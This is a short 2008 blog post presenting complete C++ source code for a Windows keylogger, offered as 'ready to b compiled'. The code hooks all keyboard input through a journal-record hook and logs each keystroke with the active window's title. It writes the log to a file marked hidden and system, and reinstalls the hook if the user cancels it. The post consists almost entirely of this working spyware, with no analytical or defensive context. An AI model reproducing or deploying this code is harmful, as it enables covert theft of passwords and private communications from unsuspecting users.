the keylogger.cpp file
#include
#include < windows.h >
#include "keylogger.h"
bool logging=false;
DWORD TID=0;
HMODULE hMod=0;
HANDLE myFile=0;
HANDLE hThread=0;
HHOOK lHook=0;
HWND prevF=0;
LRESULT __stdcall manticoreProc(int code,WPARAM wParam,LPARAM lParam)
{
if(code<0)
{
return CallNextHookEx(lHook,code,wParam,lParam);
}
if(code==HC_ACTION)
{
EVENTMSG *pEvt=(EVENTMSG *)lParam;
if(pEvt->message==WM_KEYDOWN)
{
DWORD dwCount,dwBytes;
char svBuffer[256];
int vKey,nScan;
vKey=LOBYTE(pEvt->paramL);
nScan=HIBYTE(pEvt->paramL);
nScan<<=16;
HWND hFocus=GetActiveWindow();
if(prevF!=hFocus)
{
char svTitle[256];
int nCount;
nCount=GetWindowText(hFocus,svTitle,256);
if(nCount>0)
{
char svBuffer[512];
wsprintf(svBuffer,"\r\n-----[ %s ]-----\r\n",svTitle);
WriteFile(myFile,svBuffer,lstrlen(svBuffer),&dwBytes,NULL);
}
prevF=hFocus;
}
dwCount=GetKeyNameText(nScan,svBuffer,256);
if(dwCount)
{
if(vKey==VK_SPACE)
{
svBuffer[0]=' ';
svBuffer[1]='\0';
dwCount=1;
}
if(dwCount==1)
{
BYTE kbuf[256];
WORD ch;
int chcount;
GetKeyboardState(kbuf);
chcount=ToAscii(vKey,nScan,kbuf,&ch,0);
if((chcount>0)&&(ch>=32)&&(ch<=127))
{
WriteFile(myFile,&ch,chcount,&dwBytes,NULL);
}
}
else
{
WriteFile(myFile,"[",1,&dwBytes,NULL);
WriteFile(myFile,svBuffer,dwCount,&dwBytes,NULL);
WriteFile(myFile,"]",1,&dwBytes,NULL);
if(vKey==VK_RETURN)
{
WriteFile(myFile,"\r\n",2,&dwBytes,NULL);
}
}
}
}
}
DWORD fsize=GetFileSize(myFile,0);
if(fsize>=5242880)
{
SetFilePointer(myFile,0,0,FILE_BEGIN);
SetEndOfFile(myFile);
}
return CallNextHookEx(lHook,code,wParam,lParam);
}
DWORD __stdcall manticoreThread(LPVOID lpv)
{
MSG msg;
BYTE keytbl[256];
for(int i=0;i<256;++i)
{
keytbl[i]=0;
}
logging=true;
prevF=0;
myFile=CreateFile((char *)lpv,GENERIC_WRITE,FILE_SHARE_READ,0,CREATE_ALWAYS,FILE_ATTRIBUTE_HIDDEN|FILE_ATTRIBUTE_SYSTEM,0);
if(myFile==INVALID_HANDLE_VALUE)
{
return 1;
}
if(SetFilePointer(myFile,0,0,FILE_END)==0xffffffff)
{
CloseHandle(myFile);
myFile=0;
return 1;
}
lHook=SetWindowsHookEx(WH_JOURNALRECORD,manticoreProc,hMod,0);
if(lHook==0)
{
CloseHandle(myFile);
myFile=0;
return 1;
}
logging=true;
while(logging)
{
while(PeekMessage(&msg,0,0,0,PM_NOREMOVE))
{
GetMessage(&msg,0,0,0);
if(msg.message==WM_CANCELJOURNAL)
{
SetKeyboardState(keytbl);
lHook=SetWindowsHookEx(WH_JOURNALRECORD,manticoreProc,hMod,0);
if(lHook==0)
{
CloseHandle(myFile);
myFile=0;
return 1;
}
}
else
{
DispatchMessage(&msg);
}
}
Sleep(1);
}
UnhookWindowsHookEx(lHook);
CloseHandle(myFile);
myFile=0;
hThread=0;
return 0;
}
bool manticoreLog(const char *file)
{
if(logging==true)
{
return false;
}
hThread=CreateThread(0,0,manticoreThread,(LPVOID)file,0,&TID);
if(hThread==0)
{
return false;
}
return true;
}
bool manticoreStop()
{
if(logging==false)
{
return false;
}
if(WaitForSingleObject(hThread,2000)==WAIT_OBJECT_0)
{
return false;
}
logging=false;
return true;
}
the keylogger.h header file
#ifndef KEYLOGGER_H
#define KEYLOGGER_H
#include
extern HMODULE hMod;
LRESULT __stdcall manticoreProc(int,WPARAM,LPARAM);
DWORD __stdcall manticoreThread(LPVOID);
bool manticoreLog(const char *);
bool manticoreStop();
#endif
ready to b compiled :-)
Thursday, October 9, 2008
Keylogger in C++
Posted by vivek at 9:48 PM
Labels: Source Codes
Subscribe to:
Post Comments (Atom)
0 comments:
Post a Comment